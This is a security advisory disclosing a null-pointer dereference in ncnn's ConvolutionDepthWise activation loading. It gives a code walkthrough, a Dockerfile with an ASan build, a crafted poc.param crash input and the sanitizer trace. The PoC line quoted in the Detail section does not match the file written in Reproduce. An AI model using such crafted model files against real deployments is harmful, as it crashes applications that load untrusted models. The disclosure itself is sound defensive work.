Null Dereference in Depthwise Activation Loading
Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/fused_activation.h:82 in create_activation_layer
Sanitizer verdict: SEGV on unknown address 0x000000000000 (pc 0x5bfe5a0ed529 bp 0x7ffc3ecf0e10 sp 0x7ffc3ecf0c70 T0)
Summary
An attacker who can hand ncnn a .param file can terminate the loading process with a read of address zero. The file declares a ConvolutionDepthWise layer that selects fused LeakyReLU via parameter key 9=2 but omits key 10, the activation parameter array. ConvolutionDepthWise::load_param accepts that combination and stores an empty Mat; when Net::load_model subsequently builds the CPU pipeline, create_activation_layer reads activation_params[0] off a null buffer. The confirmed entry point is ncnnoptimize poc.param null out.param out.bin 0, but any application calling ncnn::Net::load_param/load_model on an untrusted model reaches the same code.
Detail
The untrusted fields are the parameter dictionary keys 9 (activation type) and 10 (activation parameters) of the ConvolutionDepthWise layer line. load_param reads them independently: key 9 gets an integer, key 10 gets a Mat that defaults to a default-constructed Mat() when the key is absent. Nothing in load_param verifies that the array actually holds the number of scalars the selected activation type requires, and load_param returns 0, so the layer is considered valid.
The CPU ConvolutionDepthWise implementation then calls create_activation_layer unconditionally at the top of create_pipeline, which dispatches on activation_type and indexes the array directly:
// src/layer/convolutiondepthwise.cpp:36
activation_type = pd.get(9, 0);
activation_params = pd.get(10, Mat());
// src/layer/x86/convolutiondepthwise_x86.cpp:51
activation = create_activation_layer(activation_type, activation_params, opt);
// src/layer/fused_activation.h:77
else if (activation_type == 2)
{
activation = ncnn::create_layer_cpu(ncnn::LayerType::ReLU);
ncnn::ParamDict pd;
pd.set(0, activation_params[0]); // slope
activation->load_param(pd);
}
A default-constructed Mat has data == 0 and w == 0, and Mat::operator[] expands to ((float*)data)[i] with no bounds or null check. The PoC layer line is ConvolutionDepthWise dw 1 1 data out 0=1 1=1 5=0 6=1 7=1 9=2: weight_data_size is 1 and bias_term is 0, so load_model succeeds against the zero-filled DataReaderFromEmpty that ncnnoptimize installs for the literal null binary argument. Loading therefore proceeds to net.cpp:2094, create_pipeline runs, activation_type is 2, and activation_params[0] reads four bytes from address 0x0.
The stack frame above the sink is build/src/layer/x86/convolutiondepthwise_x86_avx512.cpp:51, which is the AVX-512 copy the build system generates from src/layer/x86/convolutiondepthwise_x86.cpp; the same unguarded call exists in every ISA variant and in the generic layer, so the crash is not specific to the dispatched microarchitecture.
Reproduce
Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-null-dereference-in-depthwise-activation-loading && cd ncnn-poc-null-dereference-in-depthwise-activation-loading
cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04
RUN apt-get update && apt-get install -y --no-install-recommends \
git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
protobuf-compiler libprotobuf-dev \
&& pip3 install --no-cache-dir --break-system-packages onnx protobuf \
&& rm -rf /var/lib/apt/lists/*
RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn
WORKDIR /ncnn
RUN cmake -S . -B build \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
-DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
-DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
&& cmake --build build -j"$(nproc)"
ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE
cat > poc.param <<'POC_EOF'
7767517
1 1
ConvolutionDepthWise dw 0 1 out 6=1 9=2
POC_EOF
docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
/ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0
AddressSanitizer output:
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x624eefca3529 bp 0x7ffd242804a0 sp 0x7ffd24280300 T0)
==1==The signal is caused by a READ memory access.
==1==Hint: address points to the zero page.
#0 0x624eefca3529 in create_activation_layer /ncnn/src/layer/fused_activation.h:82
#1 0x624eefd3edac in ncnn::ConvolutionDepthWise_x86_avx512::create_pipeline(ncnn::Option const&) /ncnn/build/src/layer/x86/convolutiondepthwise_x86_avx512.cpp:51
#2 0x624eead56c96 in ncnn::Net::load_model(ncnn::DataReader const&) /ncnn/src/net.cpp:2094
#3 0x624eeac6ac34 in main /ncnn/tools/ncnnoptimize.cpp:2793
#4 0x76884138f1c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#5 0x76884138f28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#6 0x624eeabea624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /ncnn/src/layer/fused_activation.h:82 in create_activation_layer
==1==ABORTING
Credit
Zheng Yu @ DepthFirst